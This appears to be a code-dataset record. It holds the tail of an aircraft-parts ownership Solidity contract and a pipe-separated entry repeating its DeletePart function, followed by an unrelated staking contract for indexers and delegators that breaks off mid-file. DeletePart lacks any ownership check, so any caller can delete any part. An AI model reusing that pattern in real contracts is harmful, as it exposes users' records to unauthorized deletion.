ownermapping[owner][i] = ownermapping[owner][i+1];
}
strs.pop();
ownermapping[owner] = strs;
}
// Transfer the part from one person to another
function TransferPart(string memory id, string memory purchaseId, address oldOwner, address newOwner) public partExists(id) onlyOwner(id, oldOwner) {
// Make the order
orders[purchaseId] = PurchaseOrder({
ID: purchaseId,
From: oldOwner,
To: newOwner,
SoldPart: parts[id],
isSet: true
});
// Transfer
parts[id].Owner = newOwner;
for(uint i = 0; i < ownermapping[msg.sender].length; i++) {
// AircraftPart memory p = ownermapping[msg.sender][i];
if (keccak256(abi.encodePacked(ownermapping[msg.sender][i])) == keccak256(abi.encodePacked(id))) {
_fixarray(msg.sender, i);
ownermapping[newOwner].push(id);
break;
}
}
emit PartTransferred(id, msg.sender, newOwner);
}
// Remove the part from the mapping
function DeletePart(string memory id) public partExists(id) {
delete parts[id];
for(uint i = 0; i < ownermapping[msg.sender].length; i++) {
// AircraftPart memory p = ownermapping[msg.sender][i];
if (keccak256(abi.encodePacked(ownermapping[msg.sender][i])) == keccak256(abi.encodePacked(id))) {
_fixarray(msg.sender, i);
break;
}
}
emit PartDeleted(id);
}
////////////////////
// Views
////////////////////
// Query the part by ID
function QueryPartByID(string memory id) public view returns(string memory ID, string memory Description, string memory Certification, uint256 AppraisedValue, address owner) {
AircraftPart memory p = parts[id];
// Return the parts for the aircraft part
return (p.ID, p.Description, p.Certification, p.AppraisedValue, p.Owner);
}
function QueryPartByOwner(address owner) public view returns(string memory ids) {
string memory allPartIds = "";
for (uint i = 0; i < ownermapping[owner].length; i++) {
allPartIds = string(abi.encodePacked(allPartIds, ownermapping[owner][i], "|"));
}
return allPartIds;
}
}
|
Remove the part from the mapping AircraftPart memory p = ownermapping[msg.sender][i];
|
function DeletePart(string memory id) public partExists(id) {
delete parts[id];
for(uint i = 0; i < ownermapping[msg.sender].length; i++) {
if (keccak256(abi.encodePacked(ownermapping[msg.sender][i])) == keccak256(abi.encodePacked(id))) {
_fixarray(msg.sender, i);
break;
}
}
emit PartDeleted(id);
}
| 12,723,385 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "../upgrades/GraphUpgradeable.sol";
import "../utils/TokenUtils.sol";
import "./IStaking.sol";
import "./StakingStorage.sol";
import "./libs/MathUtils.sol";
import "./libs/Rebates.sol";
import "./libs/Stakes.sol";
/**
* @title Staking contract
*/
contract Staking is StakingV2Storage, GraphUpgradeable, IStaking {
using SafeMath for uint256;
using Stakes for Stakes.Indexer;
using Rebates for Rebates.Pool;
// 100% in parts per million
uint32 private constant MAX_PPM = 1000000;
// -- Events --
/**
* @dev Emitted when `indexer` update the delegation parameters for its delegation pool.
*/
event DelegationParametersUpdated(
address indexed indexer,
uint32 indexingRewardCut,
uint32 queryFeeCut,
uint32 cooldownBlocks
);
/**
* @dev Emitted when `indexer` stake `tokens` amount.
*/
event StakeDeposited(address indexed indexer, uint256 tokens);
/**
* @dev Emitted when `indexer` unstaked and locked `tokens` amount `until` block.
*/
event StakeLocked(address indexed indexer, uint256 tokens, uint256 until);
/**
* @dev Emitted when `indexer` withdrew `tokens` staked.
*/
event StakeWithdrawn(address indexed indexer, uint256 tokens);
/**
* @dev Emitted when `indexer` was slashed for a total of `tokens` amount.
* Tracks `reward` amount of tokens given to `beneficiary`.
*/
event StakeSlashed(
address indexed indexer,
uint256 tokens,
uint256 reward,
address beneficiary
);
/**
* @dev Emitted when `delegator` delegated `tokens` to the `indexer`, the delegator
* gets `shares` for the delegation pool proportionally to the tokens staked.
*/
event StakeDelegated(
address indexed indexer,
address indexed delegator,
uint256 tokens,
uint256 shares
);
/**
* @dev Emitted when `delegator` undelegated `tokens` from `indexer`.
* Tokens get locked for withdrawal after a period of time.
*/
event StakeDelegatedLocked(
address indexed indexer,
address indexed delegator,
uint256 tokens,
uint256 shares,
uint256 until
);
/**
* @dev Emitted when `delegator` withdrew delegated `tokens` from `indexer`.
*/
event StakeDelegatedWithdrawn(
address indexed indexer,
address indexed delegator,
uint256 tokens
);
/**
* @dev Emitted when `indexer` allocated `tokens` amount to `subgraphDeploymentID`
* during `epoch`.
* `allocationID` indexer derived address used to identify the allocation.
* `metadata` additional information related to the allocation.
*/
event AllocationCreated(
address indexed indexer,
bytes32 indexed subgraphDeploymentID,
uint256 epoch,
uint256 tokens,
address indexed allocationID,
bytes32 metadata
);
/**
* @dev Emitted when `indexer` collected `tokens` amount in `epoch` for `allocationID`.
* These funds are related to `subgraphDeploymentID`.
* The `from` value is the sender of the collected funds.
*/
event AllocationCollected(
address indexed indexer,
bytes32 indexed subgraphDeploymentID,
uint256 epoch,
uint256 tokens,
address indexed allocationID,
address from,
uint256 curationFees,
uint256 rebateFees
);
/**
* @dev Emitted when `indexer` close an allocation in `epoch` for `allocationID`.
* An amount of `tokens` get unallocated from `subgraphDeploymentID`.
* The `effectiveAllocation` are the tokens allocated from creation to closing.
* This event also emits the POI (proof of indexing) submitted by the indexer.
* `isDelegator` is true if the sender was one of the indexer's delegators.
*/
event AllocationClosed(
address indexed indexer,
bytes32 indexed subgraphDeploymentID,
uint256 epoch,
uint256 tokens,
address indexed allocationID,
uint256 effectiveAllocation,
address sender,
bytes32 poi,
bool isDelegator
);
/**
* @dev Emitted when `indexer` claimed a rebate on `subgraphDeploymentID` during `epoch`
* related to the `forEpoch` rebate pool.
* The rebate is for `tokens` amount and `unclaimedAllocationsCount` are left for claim
* in the rebate pool. `delegationFees` collected and sent to delegation pool.
*/
event RebateClaimed(
address indexed indexer,
bytes32 indexed subgraphDeploymentID,
address indexed allocationID,
uint256 epoch,
uint256 forEpoch,
uint256 tokens,
uint256 unclaimedAllocationsCount,
uint256 delegationFees
);
/**
* @dev Emitted when `caller` set `slasher` address as `allowed` to slash stakes.
*/
event SlasherUpdate(address indexed caller, address indexed slasher, bool allowed);
/**
* @dev Emitted when `caller` set `assetHolder` address as `allowed` to send funds
* to staking contract.
*/
event AssetHolderUpdate(address indexed caller, address indexed assetHolder, bool allowed);
/**
* @dev Emitted when `indexer` set `operator` access.
*/
event SetOperator(address indexed indexer, address indexed operator, bool allowed);
/**
* @dev Emitted when `indexer` set an address to receive rewards.
*/
event SetRewardsDestination(address indexed indexer, address indexed destination);
/**
* @dev Check if the caller is the slasher.
*/
modifier onlySlasher {
require(slashers[msg.sender] == true, "!slasher");
_;
}
/**
* @dev Check if the caller is authorized (indexer or operator)
*/
function _isAuth(address _indexer) private view returns (bool) {
return msg.sender == _indexer || isOperator(msg.sender, _indexer) == true;
}
/**
* @dev Initialize this contract.
*/
function initialize(
address _controller,
uint256 _minimumIndexerStake,
uint32 _thawingPeriod,
uint32 _protocolPercentage,
uint32 _curationPercentage,
uint32 _channelDisputeEpochs,
uint32 _maxAllocationEpochs,
uint32 _delegationUnbondingPeriod,
uint32 _delegationRatio,
uint32 _rebateAlphaNumerator,
uint32 _rebateAlphaDenominator
) external onlyImpl {
Managed._initialize(_controller);
// Settings
_setMinimumIndexerStake(_minimumIndexerStake);
_setThawingPeriod(_thawingPeriod);
_setProtocolPercentage(_protocolPercentage);
_setCurationPercentage(_curationPercentage);
_setChannelDisputeEpochs(_channelDisputeEpochs);
_setMaxAllocationEpochs(_maxAllocationEpochs);
_setDelegationUnbondingPeriod(_delegationUnbondingPeriod);
_setDelegationRatio(_delegationRatio);
_setDelegationParametersCooldown(0);
_setDelegationTaxPercentage(0);
_setRebateRatio(_rebateAlphaNumerator, _rebateAlphaDenominator);
}
/**
* @dev Set the minimum indexer stake required to.
* @param _minimumIndexerStake Minimum indexer stake
*/
function setMinimumIndexerStake(uint256 _minimumIndexerStake) external override onlyGovernor {
_setMinimumIndexerStake(_minimumIndexerStake);
}
/**
* @dev Internal: Set the minimum indexer stake required.
* @param _minimumIndexerStake Minimum indexer stake
*/
function _setMinimumIndexerStake(uint256 _minimumIndexerStake) private {
require(_minimumIndexerStake > 0, "!minimumIndexerStake");
minimumIndexerStake = _minimumIndexerStake;
emit ParameterUpdated("minimumIndexerStake");
}
/**
* @dev Set the thawing period for unstaking.
* @param _thawingPeriod Period in blocks to wait for token withdrawals after unstaking
*/
function setThawingPeriod(uint32 _thawingPeriod) external override onlyGovernor {
_setThawingPeriod(_thawingPeriod);
}
/**
* @dev Internal: Set the thawing period for unstaking.
* @param _thawingPeriod Period in blocks to wait for token withdrawals after unstaking
*/
function _setThawingPeriod(uint32 _thawingPeriod) private {
require(_thawingPeriod > 0, "!thawingPeriod");
thawingPeriod = _thawingPeriod;
emit ParameterUpdated("thawingPeriod");
}
/**
* @dev Set the curation percentage of query fees sent to curators.
* @param _percentage Percentage of query fees sent to curators
*/
function setCurationPercentage(uint32 _percentage) external override onlyGovernor {
_setCurationPercentage(_percentage);
}
/**
* @dev Internal: Set the curation percentage of query fees sent to curators.
* @param _percentage Percentage of query fees sent to curators
*/
function _setCurationPercentage(uint32 _percentage) private {
// Must be within 0% to 100% (inclusive)
require(_percentage <= MAX_PPM, ">percentage");
curationPercentage = _percentage;
emit ParameterUpdated("curationPercentage");
}
/**
* @dev Set a protocol percentage to burn when collecting query fees.
* @param _percentage Percentage of query fees to burn as protocol fee
*/
function setProtocolPercentage(uint32 _percentage) external override onlyGovernor {
_setProtocolPercentage(_percentage);
}
/**
* @dev Internal: Set a protocol percentage to burn when collecting query fees.
* @param _percentage Percentage of query fees to burn as protocol fee
*/
function _setProtocolPercentage(uint32 _percentage) private {
// Must be within 0% to 100% (inclusive)
require(_percentage <= MAX_PPM, ">percentage");
protocolPercentage = _percentage;
emit ParameterUpdated("protocolPercentage");
}
/**
* @dev Set the period in epochs that need to pass before fees in rebate pool can be claimed.
* @param _channelDisputeEpochs Period in epochs
*/
function setChannelDisputeEpochs(uint32 _channelDisputeEpochs) external override onlyGovernor {
_setChannelDisputeEpochs(_channelDisputeEpochs);
}
/**
* @dev Internal: Set the period in epochs that need to pass before fees in rebate pool can be claimed.
* @param _channelDisputeEpochs Period in epochs
*/
function _setChannelDisputeEpochs(uint32 _channelDisputeEpochs) private {
require(_channelDisputeEpochs > 0, "!channelDisputeEpochs");
channelDisputeEpochs = _channelDisputeEpochs;
emit ParameterUpdated("channelDisputeEpochs");
}
/**
* @dev Set the max time allowed for indexers stake on allocations.
* @param _maxAllocationEpochs Allocation duration limit in epochs
*/
function setMaxAllocationEpochs(uint32 _maxAllocationEpochs) external override onlyGovernor {
_setMaxAllocationEpochs(_maxAllocationEpochs);
}
/**
* @dev Internal: Set the max time allowed for indexers stake on allocations.
* @param _maxAllocationEpochs Allocation duration limit in epochs
*/
function _setMaxAllocationEpochs(uint32 _maxAllocationEpochs) private {
maxAllocationEpochs = _maxAllocationEpochs;
emit ParameterUpdated("maxAllocationEpochs");
}
/**
* @dev Set the rebate ratio (fees to allocated stake).
* @param _alphaNumerator Numerator of `alpha` in the cobb-douglas function
* @param _alphaDenominator Denominator of `alpha` in the cobb-douglas function
*/
function setRebateRatio(uint32 _alphaNumerator, uint32 _alphaDenominator)
external
override
onlyGovernor
{
_setRebateRatio(_alphaNumerator, _alphaDenominator);
}
/**
* @dev Set the rebate ratio (fees to allocated stake).
* @param _alphaNumerator Numerator of `alpha` in the cobb-douglas function
* @param _alphaDenominator Denominator of `alpha` in the cobb-douglas function
*/
function _setRebateRatio(uint32 _alphaNumerator, uint32 _alphaDenominator) private {
require(_alphaNumerator > 0 && _alphaDenominator > 0, "!alpha");
alphaNumerator = _alphaNumerator;
alphaDenominator = _alphaDenominator;
emit ParameterUpdated("rebateRatio");
}
/**
* @dev Set the delegation ratio.
* If set to 10 it means the indexer can use up to 10x the indexer staked amount
* from their delegated tokens
* @param _delegationRatio Delegation capacity multiplier
*/
function setDelegationRatio(uint32 _delegationRatio) external override onlyGovernor {
_setDelegationRatio(_delegationRatio);
}
/**
* @dev Internal: Set the delegation ratio.
* If set to 10 it means the indexer can use up to 10x the indexer staked amount
* from their delegated tokens
* @param _delegationRatio Delegation capacity multiplier
*/
function _setDelegationRatio(uint32 _delegationRatio) private {
delegationRatio = _delegationRatio;
emit ParameterUpdated("delegationRatio");
}
/**
* @dev Set the delegation parameters for the caller.
* @param _indexingRewardCut Percentage of indexing rewards left for delegators
* @param _queryFeeCut Percentage of query fees left for delegators
* @param _cooldownBlocks Period that need to pass to update delegation parameters
*/
function setDelegationParameters(
uint32 _indexingRewardCut,
uint32 _queryFeeCut,
uint32 _cooldownBlocks
) public override {
_setDelegationParameters(msg.sender, _indexingRewardCut, _queryFeeCut, _cooldownBlocks);
}
/**
* @dev Set the delegation parameters for a particular indexer.
* @param _indexer Indexer to set delegation parameters
* @param _indexingRewardCut Percentage of indexing rewards left for delegators
* @param _queryFeeCut Percentage of query fees left for delegators
* @param _cooldownBlocks Period that need to pass to update delegation parameters
*/
function _setDelegationParameters(
address _indexer,
uint32 _indexingRewardCut,
uint32 _queryFeeCut,
uint32 _cooldownBlocks
) private {
// Incentives must be within bounds
require(_queryFeeCut <= MAX_PPM, ">queryFeeCut");
require(_indexingRewardCut <= MAX_PPM, ">indexingRewardCut");
// Cooldown period set by indexer cannot be below protocol global setting
require(_cooldownBlocks >= delegationParametersCooldown, "<cooldown");
// Verify the cooldown period passed
DelegationPool storage pool = delegationPools[_indexer];
require(
pool.updatedAtBlock == 0 ||
pool.updatedAtBlock.add(uint256(pool.cooldownBlocks)) <= block.number,
"!cooldown"
);
// Update delegation params
pool.indexingRewardCut = _indexingRewardCut;
pool.queryFeeCut = _queryFeeCut;
pool.cooldownBlocks = _cooldownBlocks;
pool.updatedAtBlock = block.number;
emit DelegationParametersUpdated(
_indexer,
_indexingRewardCut,
_queryFeeCut,
_cooldownBlocks
);
}
/**
* @dev Set the time in blocks an indexer needs to wait to change delegation parameters.
* @param _blocks Number of blocks to set the delegation parameters cooldown period
*/
function setDelegationParametersCooldown(uint32 _blocks) external override onlyGovernor {
_setDelegationParametersCooldown(_blocks);
}
/**
* @dev Internal: Set the time in blocks an indexer needs to wait to change delegation parameters.
* @param _blocks Number of blocks to set the delegation parameters cooldown period
*/
function _setDelegationParametersCooldown(uint32 _blocks) private {
delegationParametersCooldown = _blocks;
emit ParameterUpdated("delegationParametersCooldown");
}
/**
* @dev Set the period for undelegation of stake from indexer.
* @param _delegationUnbondingPeriod Period in epochs to wait for token withdrawals after undelegating
*/
function setDelegationUnbondingPeriod(uint32 _delegationUnbondingPeriod)
external
override
onlyGovernor
{
_setDelegationUnbondingPeriod(_delegationUnbondingPeriod);
}
/**
* @dev Internal: Set the period for undelegation of stake from indexer.
* @param _delegationUnbondingPeriod Period in epochs to wait for token withdrawals after undelegating
*/
function _setDelegationUnbondingPeriod(uint32 _delegationUnbondingPeriod) private {
require(_delegationUnbondingPeriod > 0, "!delegationUnbondingPeriod");
delegationUnbondingPeriod = _delegationUnbondingPeriod;
emit ParameterUpdated("delegationUnbondingPeriod");
}
/**
* @dev Set a delegation tax percentage to burn when delegated funds are deposited.
* @param _percentage Percentage of delegated tokens to burn as delegation tax
*/
function setDelegationTaxPercentage(uint32 _percentage) external override onlyGovernor {
_setDelegationTaxPercentage(_percentage);
}
/**
* @dev Internal: Set a delegation tax percentage to burn when delegated funds are deposited.
* @param _percentage Percentage of delegated tokens to burn as delegation tax
*/
function _setDelegationTaxPercentage(uint32 _percentage) private {
// Must be within 0% to 100% (inclusive)
require(_percentage <= MAX_PPM, ">percentage");
delegationTaxPercentage = _percentage;
emit ParameterUpdated("delegationTaxPercentage");
}
/**
* @dev Set or unset an address as allowed slasher.
* @param _slasher Address of the party allowed to slash indexers
* @param _allowed True if slasher is allowed
*/
function setSlasher(address _slasher, bool _allowed) external override onlyGovernor {
require(_slasher != address(0), "!slasher");
slashers[_slasher] = _allowed;
emit SlasherUpdate(msg.sender, _slasher, _allowed);
}
/**
* @dev Set an address as allowed asset holder.
* @param _assetHolder Address of allowed source for state channel funds
* @param _allowed True if asset holder is allowed
*/
function setAssetHolder(address _assetHolder, bool _allowed) external override onlyGovernor {
require(_assetHolder != address(0), "!assetHolder");
assetHolders[_assetHolder] = _allowed;
emit AssetHolderUpdate(msg.sender, _assetHolder, _allowed);
}
/**
* @dev Return if allocationID is used.
* @param _allocationID Address used as signer by the indexer for an allocation
* @return True if allocationID already used
*/
function isAllocation(address _allocationID) external view override returns (bool) {
return _getAllocationState(_allocationID) != AllocationState.Null;
}
/**
* @dev Getter that returns if an indexer has any stake.
* @param _indexer Address of the indexer
* @return True if indexer has staked tokens
*/
function hasStake(address _indexer) external view override returns (bool) {
return stakes[_indexer].tokensStaked > 0;
}
/**
* @dev Return the allocation by ID.
* @param _allocationID Address used as allocation identifier
* @return Allocation data
*/
function getAllocation(address _allocationID)
external
view
override
returns (Allocation memory)
{
return allocations[_allocationID];
}
/**
* @dev Return the current state of an allocation.
* @param _allocationID Address used as the allocation identifier
* @return AllocationState
*/
function getAllocationState(address _allocationID)
external
view
override
returns (AllocationState)
{
return _getAllocationState(_allocationID);
}
/**
* @dev Return the total amount of tokens allocated to subgraph.
* @param _subgraphDeploymentID Address used as the allocation identifier
* @return Total tokens allocated to subgraph
*/
function getSubgraphAllocatedTokens(bytes32 _subgraphDeploymentID)
external
view
override
returns (uint256)
{
return subgraphAllocations[_subgraphDeploymentID];
}
/**
* @dev Return the delegation from a delegator to an indexer.
* @param _indexer Address of the indexer where funds have been delegated
* @param _delegator Address of the delegator
* @return Delegation data
*/
function getDelegation(address _indexer, address _delegator)
external
view
override
returns (Delegation memory)
{
return delegationPools[_indexer].delegators[_delegator];
}
/**
* @dev Return whether the delegator has delegated to the indexer.
* @param _indexer Address of the indexer where funds have been delegated
* @param _delegator Address of the delegator
* @return True if delegator of indexer
*/
function isDelegator(address _indexer, address _delegator) public view override returns (bool) {
return delegationPools[_indexer].delegators[_delegator].shares > 0;
}
/**
* @dev Get the total amount of tokens staked by the indexer.
* @param _indexer Address of the indexer
* @return Amount of tokens staked by the indexer
*/
function getIndexerStakedTokens(address _indexer) external view override returns (uint256) {
return stakes[_indexer].tokensStaked;
}
/**
* @dev Get the total amount of tokens available to use in allocations.
* This considers the indexer stake and delegated tokens according to delegation ratio
* @param _indexer Address of the indexer
* @return Amount of tokens staked by the indexer
*/
function getIndexerCapacity(address _indexer) public view override returns (uint256) {
Stakes.Indexer memory indexerStake = stakes[_indexer];
uint256 tokensDelegated = delegationPools[_indexer].tokens;
uint256 tokensDelegatedCap = indexerStake.tokensSecureStake().mul(uint256(delegationRatio));
uint256 tokensDelegatedCapacity = MathUtils.min(tokensDelegated, tokensDelegatedCap);
return indexerStake.tokensAvailableWithDelegation(tokensDelegatedCapacity);
}
/**
* @dev Returns amount of delegated tokens ready to be withdrawn after unbonding period.
* @param _delegation Delegation of tokens from delegator to indexer
* @return Amount of tokens to withdraw
*/
function getWithdraweableDelegatedTokens(Delegation memory _delegation)
public
view
returns (uint256)
{
// There must be locked tokens and period passed
uint256 currentEpoch = epochManager().currentEpoch();
if (_delegation.tokensLockedUntil > 0 && currentEpoch >= _delegation.tokensLockedUntil) {
return _delegation.tokensLocked;
}
return 0;
}
/**
* @dev Authorize or unauthorize an address to be an operator.
* @param _operator Address to authorize
* @param _allowed Whether authorized or not
*/
function setOperator(address _operator, bool _allowed) external override {
require(_operator != msg.sender, "operator == sender");
operatorAuth[msg.sender][_operator] = _allowed;
emit SetOperator(msg.sender, _operator, _allowed);
}
/**
* @dev Return true if operator is allowed for indexer.
* @param _operator Address of the operator
* @param _indexer Address of the indexer
*/
function isOperator(address _operator, address _indexer) public view override returns (bool) {
return operatorAuth[_indexer][_operator];
}
/**
* @dev Deposit tokens on the indexer stake.
* @param _tokens Amount of tokens to stake
*/
function stake(uint256 _tokens) external override {
stakeTo(msg.sender, _tokens);
}
/**
* @dev Deposit tokens on the indexer stake.
* @param _indexer Address of the indexer
* @param _tokens Amount of tokens to stake
*/
function stakeTo(address _indexer, uint256 _tokens) public override notPartialPaused {
require(_tokens > 0, "!tokens");
// Ensure minimum stake
require(
stakes[_indexer].tokensSecureStake().add(_tokens) >= minimumIndexerStake,
"!minimumIndexerStake"
);
// Transfer tokens to stake from caller to this contract
TokenUtils.pullTokens(graphToken(), msg.sender, _tokens);
// Stake the transferred tokens
_stake(_indexer, _tokens);
}
/**
* @dev Unstake tokens from the indexer stake, lock them until thawing period expires.
* @param _tokens Amount of tokens to unstake
*/
function unstake(uint256 _tokens) external override notPartialPaused {
address indexer = msg.sender;
Stakes.Indexer storage indexerStake = stakes[indexer];
require(_tokens > 0, "!tokens");
require(indexerStake.tokensStaked > 0, "!stake");
require(indexerStake.tokensAvailable() >= _tokens, "!stake-avail");
// Ensure minimum stake
uint256 newStake = indexerStake.tokensSecureStake().sub(_tokens);
require(newStake == 0 || newStake >= minimumIndexerStake, "!minimumIndexerStake");
// Before locking more tokens, withdraw any unlocked ones
uint256 tokensToWithdraw = indexerStake.tokensWithdrawable();
if (tokensToWithdraw > 0) {
_withdraw(indexer);
}
indexerStake.lockTokens(_tokens, thawingPeriod);
emit StakeLocked(indexer, indexerStake.tokensLocked, indexerStake.tokensLockedUntil);
}
/**
* @dev Withdraw indexer tokens once the thawing period has passed.
*/
function withdraw() external override notPaused {
_withdraw(msg.sender);
}
/**
* @dev Set the destination where to send rewards.
* @param _destination Rewards destination address. If set to zero, rewards will be restaked
*/
function setRewardsDestination(address _destination) external override {
rewardsDestination[msg.sender] = _destination;
emit SetRewardsDestination(msg.sender, _destination);
}
/**
* @dev Slash the indexer stake. Delegated tokens are not subject to slashing.
* Can only be called by the slasher role.
* @param _indexer Address of indexer to slash
* @param _tokens Amount of tokens to slash from the indexer stake
* @param _reward Amount of reward tokens to send to a beneficiary
* @param _beneficiary Address of a beneficiary to receive a reward for the slashing
*/
function slash(
address _indexer,
uint256 _tokens,
uint256 _reward,
address _beneficiary
) external override onlySlasher notPartialPaused {
Stakes.Indexer storage indexerStake = stakes[_indexer];
// Only able to slash a non-zero number of tokens
require(_tokens > 0, "!tokens");
// Rewards comes from tokens slashed balance
require(_tokens >= _reward, "rewards>slash");
// Cannot slash stake of an indexer without any or enough stake
require(indexerStake.tokensStaked > 0, "!stake");
require(_tokens <= indexerStake.tokensStaked, "slash>stake");
// Validate beneficiary of slashed tokens
require(_beneficiary != address(0), "!beneficiary");
// Slashing more tokens than freely available (over allocation condition)
// Unlock locked tokens to avoid the indexer to withdraw them
if (_tokens > indexerStake.tokensAvailable() && indexerStake.tokensLocked > 0) {
uint256 tokensOverAllocated = _tokens.sub(indexerStake.tokensAvailable());
uint256 tokensToUnlock = MathUtils.min(tokensOverAllocated, indexerStake.tokensLocked);
indexerStake.unlockTokens(tokensToUnlock);
}
// Remove tokens to slash from the stake
indexerStake.release(_tokens);
// -- Interactions --
IGraphToken graphToken = graphToken();
// Set apart the reward for the beneficiary and burn remaining slashed stake
TokenUtils.burnTokens(graphToken, _tokens.sub(_reward));
// Give the beneficiary a reward for slashing
TokenUtils.pushTokens(graphToken, _beneficiary, _reward);
emit StakeSlashed(_indexer, _tokens, _reward, _beneficiary);
}
/**
* @dev Delegate tokens to an indexer.
* @param _indexer Address of the indexer to delegate tokens to
* @param _tokens Amount of tokens to delegate
* @return Amount of shares issued of the delegation pool
*/
function delegate(address _indexer, uint256 _tokens)
external
override
notPartialPaused
returns (uint256)
{
address delegator = msg.sender;
// Transfer tokens to delegate to this contract
TokenUtils.pullTokens(graphToken(), delegator, _tokens);
// Update state
return _delegate(delegator, _indexer, _tokens);
}
/**
* @dev Undelegate tokens from an indexer.
* @param _indexer Address of the indexer where tokens had been delegated
* @param _shares Amount of shares to return and undelegate tokens
* @return Amount of tokens returned for the shares of the delegation pool
*/
function undelegate(address _indexer, uint256 _shares)
external
override
notPartialPaused
returns (uint256)
{
return _undelegate(msg.sender, _indexer, _shares);
}
/**
* @dev Withdraw delegated tokens once the unbonding period has passed.
* @param _indexer Withdraw available tokens delegated to indexer
* @param _delegateToIndexer Re-delegate to indexer address if non-zero, withdraw if zero address
*/
function withdrawDelegated(address _indexer, address _delegateToIndexer)
external
override
notPaused
returns (uint256)
{
return _withdrawDelegated(msg.sender, _indexer, _delegateToIndexer);
}
/**
* @dev Allocate available tokens to a subgraph deployment.
* @param _subgraphDeploymentID ID of the SubgraphDeployment where tokens will be allocated
* @param _tokens Amount of tokens to allocate
* @param _allocationID The allocation identifier
* @param _metadata IPFS hash for additional information about the allocation
* @param _proof A 65-bytes Ethereum signed message of `keccak256(indexerAddress,allocationID)`
*/
function allocate(
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external override notPaused {
_allocate(msg.sender, _subgraphDeploymentID, _tokens, _allocationID, _metadata, _proof);
}
/**
* @dev Allocate available tokens to a subgraph deployment.
* @param _indexer Indexer address to allocate funds from.
* @param _subgraphDeploymentID ID of the SubgraphDeployment where tokens will be allocated
* @param _tokens Amount of tokens to allocate
* @param _allocationID The allocation identifier
* @param _metadata IPFS hash for additional information about the allocation
* @param _proof A 65-bytes Ethereum signed message of `keccak256(indexerAddress,allocationID)`
*/
function allocateFrom(
address _indexer,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external override notPaused {
_allocate(_indexer, _subgraphDeploymentID, _tokens, _allocationID, _metadata, _proof);
}
/**
* @dev Close an allocation and free the staked tokens.
* To be eligible for rewards a proof of indexing must be presented.
* Presenting a bad proof is subject to slashable condition.
* To opt out for rewards set _poi to 0x0
* @param _allocationID The allocation identifier
* @param _poi Proof of indexing submitted for the allocated period
*/
function closeAllocation(address _allocationID, bytes32 _poi) external override notPaused {
_closeAllocation(_allocationID, _poi);
}
/**
* @dev Close multiple allocations and free the staked tokens.
* To be eligible for rewards a proof of indexing must be presented.
* Presenting a bad proof is subject to slashable condition.
* To opt out for rewards set _poi to 0x0
* @param _requests An array of CloseAllocationRequest
*/
function closeAllocationMany(CloseAllocationRequest[] calldata _requests)
external
override
notPaused
{
for (uint256 i = 0; i < _requests.length; i++) {
_closeAllocation(_requests[i].allocationID, _requests[i].poi);
}
}
/**
* @dev Close and allocate. This will perform a close and then create a new Allocation
* atomically on the same transaction.
* @param _closingAllocationID The identifier of the allocation to be closed
* @param _poi Proof of indexing submitted for the allocated period
* @param _indexer Indexer address to allocate funds from.
* @param _subgraphDeploymentID ID of the SubgraphDeployment where tokens will be allocated
* @param _tokens Amount of tokens to allocate
* @param _allocationID The allocation identifier
* @param _metadata IPFS hash for additional information about the allocation
* @param _proof A 65-bytes Ethereum signed message of `keccak256(indexerAddress,allocationID)`
*/
function closeAndAllocate(
address _closingAllocationID,
bytes32 _poi,
address _indexer,
bytes32 _subgraphDeploymentID,
uint256 _tokens,
address _allocationID,
bytes32 _metadata,
bytes calldata _proof
) external override notPaused {
_closeAllocation(_closingAllocationID, _poi);
_allocate(_indexer, _subgraphDeploymentID, _tokens, _allocationID, _metadata, _proof);
}
/**
* @dev Collect query fees from state channels and assign them to an allocation.
* Funds received are only accepted from a valid sender.
* To avoid reverting on the withdrawal from channel flow this function will:
* 1) Accept calls with zero tokens.
* 2) Accept calls after an allocation passed the dispute period, in that case, all
* the received tokens are burned.
* @param _tokens Amount of tokens to collect
* @param _allocationID Allocation where the tokens will be assigned
*/
function collect(uint256 _tokens, address _allocationID) external override {
// Allocation identifier validation
require(_allocationID != address(0), "!alloc");
// The contract caller must be an authorized asset holder
require(assetHolders[msg.sender] == true, "!assetHolder");
// Allocation must exist
AllocationState allocState = _getAllocationState(_allocationID);
require(allocState != AllocationState.Null, "!collect");
// Get allocation
Allocation storage alloc = allocations[_allocationID];
uint256 queryFees = _tokens;
uint256 curationFees = 0;
bytes32 subgraphDeploymentID = alloc.subgraphDeploymentID;
// Process query fees only if non-zero amount
if (queryFees > 0) {
// Pull tokens to collect from the authorized sender
IGraphToken graphToken = graphToken();
TokenUtils.pullTokens(graphToken, msg.sender, _tokens);
// -- Collect protocol tax --
// If the Allocation is not active or closed we are going to charge a 100% protocol tax
uint256 usedProtocolPercentage =
(allocState == AllocationState.Active || allocState == AllocationState.Closed)
? protocolPercentage
: MAX_PPM;
uint256 protocolTax = _collectTax(graphToken, queryFees, usedProtocolPercentage);
queryFees = queryFees.sub(protocolTax);
// -- Collect curation fees --
// Only if the subgraph deployment is curated
curationFees = _collectCurationFees(
graphToken,
subgraphDeploymentID,
queryFees,
curationPercentage
);
queryFees = queryFees.sub(curationFees);
// Add funds to the allocation
alloc.collectedFees = alloc.collectedFees.add(queryFees);
// When allocation is closed redirect funds to the rebate pool
// This way we can keep collecting tokens even after the allocation is closed and
// before it gets to the finalized state.
if (allocState == AllocationState.Closed) {
Rebates.Pool storage rebatePool = rebates[alloc.closedAtEpoch];
rebatePool.fees = rebatePool.fees.add(queryFees);
}
}
emit AllocationCollected(
alloc.indexer,
subgraphDeploymentID,
epochManager().currentEpoch(),
_tokens,
_allocationID,
msg.sender,
curationFees,
queryFees
);
}
/**
* @dev Claim tokens from the rebate pool.
* @param _allocationID Allocation from where we are claiming tokens
* @param _restake True if restake fees instead of transfer to indexer
*/
function claim(address _allocationID, bool _restake) external override notPaused {
_claim(_allocationID, _restake);
}
/**
* @dev Claim tokens from the rebate pool for many allocations.
* @param _allocationID Array of allocations from where we are claiming tokens
* @param _restake True if restake fees instead of transfer to indexer
*/
function claimMany(address[] calldata _allocationID, bool _restake)
external
override
notPaused
{
for (uint256 i = 0; i < _allocationID.length; i++) {
_claim(_allocationID[i], _restake);
}
}
/**
* @dev Stake tokens on the indexer.
* This function does not check minimum indexer stake requirement to allow
* to be called by functions that increase the stake when collecting rewards
* without reverting
* @param _indexer Address of staking party
* @param _tokens Amount of tokens to stake
*/
